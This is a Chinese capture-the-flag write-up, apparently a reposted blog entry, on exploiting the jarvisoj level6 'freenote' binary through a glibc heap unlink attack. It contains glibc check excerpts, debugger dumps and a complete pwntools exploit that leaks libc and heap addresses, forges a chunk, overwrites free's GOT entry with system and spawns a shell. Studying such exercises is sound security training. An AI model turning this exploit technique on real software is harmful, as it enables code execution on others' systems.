jarvisoj(level6)--unlink

unlink其实就是把chunk从bin链中拉出来然后跟前面或者后面的chunk合并。
参考https://ctf-wiki.github.io/ctf-wiki/pwn/linux/heap/unlink/
则当我们free(Q)时

  1. glibc 判断这个块是 small chunk。
  2. 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并。
  3. 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并。
  4. 继而对 nextchunk 采取 unlink 操作。

在这里插入图片描述
这里需要清楚的一点是unlink本身是一个函数,unlink§进入函数的时候知道的只有P。
第一步就是找到P的前后的chunk。

unlink检查的细节。会检查P->fd->bk==P,P->bk->fd==P。

// 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

  // next_size related
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);

所以构造unlink的时候就出现了限制。
具体过程如下(以32位为例)
在这里插入图片描述
这里是三部分是同一块空间可以向chunk P中写如数据,有一点需要注意fd后面的箭头指向的内容就是fd里面的内容,可以满足bk位置处指向P,fd位置处指向P(跟ptr的指针位置处重合,填入的数据就是P的地址)(小写的p和ptr是相同的)
在这里插入图片描述
(这里的p=ptr)只分析最后一步,BK->fd=FD执行这个其实就是画个箭头,也就是向BK的fd空位置处写入数据,写入的数据是ptr减去12,执行完之后的结果就是
ptr=ptr-12

借助unlink需要的条件:如果有堆溢出最好,如果没有至少需要一个UAF漏洞在让程序能够第二次free。

数据的结构很简单
先申请一个chunk大小是0xc18用来存放下一个chunk的信息。
里面存放的是标志位1,size=8,下一个node的地址=0x08f81c20 …

pwndbg> x /100xw 0x8f81000
0x8f81000:	0x00000000	0x00000c19	0x00000100	0x00000002
0x8f81010:	0x00000001	0x00000008	0x08f81c20	0x00000001
0x8f81020:	0x00000008	0x08f81ca8	0x00000000	0x00000000

漏洞:
在free的时候没有把指针设置为NULL,虽然堆edit有检查,但是对free并没有检查,可以构造unlink。

思路:多次malloc小chunk然后free,之后malloc大chunk申请到原本free掉的空间。更改fd和bk还有prive_inuse位然后再次free就会实现上述的写入。更改每个node的地址,实现任意地址写。
(其实就是small bin或者unsort bin的double free)
利用需要:需要堆的地址(每个node的指针都是存放在堆里的),需要libc的加载地址。

#########################get libc_base
local()
#remot()
new("A"*7) #0
new("B"*7)#1
gdb.attach(p)
delete(0)
new("0")
List()
p.recv(7)
main_addr=u32(p.recv(4))
print "main_addr="+hex(main_addr)
libc_base=main_addr-offset
print "libc_base="+hex(libc_base)
######################get heap_base
new("c"*0x7)#2
new("d"*0x7)#3
delete(0)
delete(2)
new('0')
List()
p.recv(7)
heap_base=u32(p.recv(4))-0xd28
print "heap_base="+hex(heap_base)
delete(0)
delete(1)
delete(3)
List()

构造fake chunk进行unlink

#################unlink
payload=p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)+p32(0x80)
payload=payload.ljust(0x80,'A')# chunk0
payload+=p32(0x80)+p32(0x80)
payload=payload.ljust(256,"A")#chunk1
payload+=p32(0x80)+p32(0x81)#chunk2

new(payload)
delete(1)

new("A"*20)
List()

这里需要注意:unlink是三个chunk的操作要满足
1.被unlink的chunk P中需要伪造size,fd,bk,还要注意一个next_prive_chunk_size。
2.需要P的下一个chunk的prive_size,prive_inuse=0
3.需要P的下一个chunk的下一个chunk的size的prive_inuse位为1

free掉P_next,设置P_next_next_prive_inuse=0,会检查前一个chunk,为空,进行unlink(P)
运行的结果

pwndbg> x /100xw 0x9e2e000
0x9e2e000:	0x00000000	0x00000c19	0x00000100	0x00000001
0x9e2e010:	0x00000001	0x00000109	0x09e2e00c	0x00000001
0x9e2e020:	0x00000015	0x09e2ec28	0x00000000	0x00000000
0x9e2e030:	0x09e2ed30	0x00000000	0x00000000	0x09e2edb8
0x9e2e040:	0x00000000	0x00000000	0x00000000	0x00000000

chunk的P被写入位(&P)-12
完整exp

from pwn import *
#context.log_level="debug"
offset=0x1b27b0
def local():
	global p,elf,libc,env
	env = {'LD_PRELOAD': './libc.so.6'}
	p=process("./freenote_x86")
	elf=ELF("./freenote_x86")
	libc=ELF("./libc.so.6")

	
def new(content):
	p.recvuntil("Your choice: ")
	p.sendline("2")
	p.recvuntil("Length of new note: ")
	p.sendline(str(len(content)+1))
	p.recvuntil("Enter your note: ")
	p.sendline(content)
	p.recvuntil("Done.")
	
def List():
	p.recvuntil("Your choice: ")
	p.sendline("1") 


def Edit(index,content):
	p.recvuntil("Your choice: ")
	p.sendline("3")
	p.recvuntil("Note number: ")
	p.sendline(str(index))
	p.recvuntil("Length of note: ")
	p.sendline(str(len(content)+1))
	p.recvuntil("Enter your note: ")
	p.sendline(content)
	
def delete(index):
	p.recvuntil("Your choice: ")
	p.sendline("4")
	p.recvuntil("Note number: ")
	p.sendline(str(index))
	
#########################get libc_base
local()
#remot()
new("A"*7) #0
new("B"*7)#1

delete(0)
new("0")
List()
p.recv(7)
main_addr=u32(p.recv(4))
print "main_addr="+hex(main_addr)
libc_base=main_addr-offset
print "libc_base="+hex(libc_base)
######################get heap_base
new("c"*0x7)#2
new("d"*0x7)#3
delete(0)
delete(2)
new('0')
List()
p.recv(7)
heap_base=u32(p.recv(4))-0xd28
print "heap_base="+hex(heap_base)
delete(0)
delete(1)
delete(3)
List()

#################unlink
payload=p32(0)+p32(0x81)+p32(heap_base+0x18-12)+p32(heap_base+0x18-8)+p32(0x80)
payload=payload.ljust(0x80,'A')# chunk0
payload+=p32(0x80)+p32(0x80)
payload=payload.ljust(256,"A")#chunk1
payload+=p32(0x80)+p32(0x81)#chunk2

new(payload)
delete(1)

new("A"*20)
List()
gdb.attach(p)
#############################reset got
system_addr=libc_base+libc.symbols["system"]
print "system_addr="+hex(system_addr)
#gdb.attach(p)
payload=p32(1)+p32(1)+p32(0x109)+p32(heap_base+0x18-12)#chunk0
payload+=p32(1)+p32(5)+p32(elf.got['free'])#chunk1
payload+=p32(1)+p32(len("/bin/sh\x00")+1)+p32(heap_base+0xd30)#chunk2
payload=payload.ljust(0x108,"A")
Edit(0,payload)

########################get shell
Edit(1,p32(system_addr))
Edit(2,"/bin/sh")
delete(2)

p.interactive()

里面出现的偏移不知道,远程和本地库不一样,不知道怎么获取到远程库偏移。
希望知道的大佬评论,感谢

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/82808011
今日推荐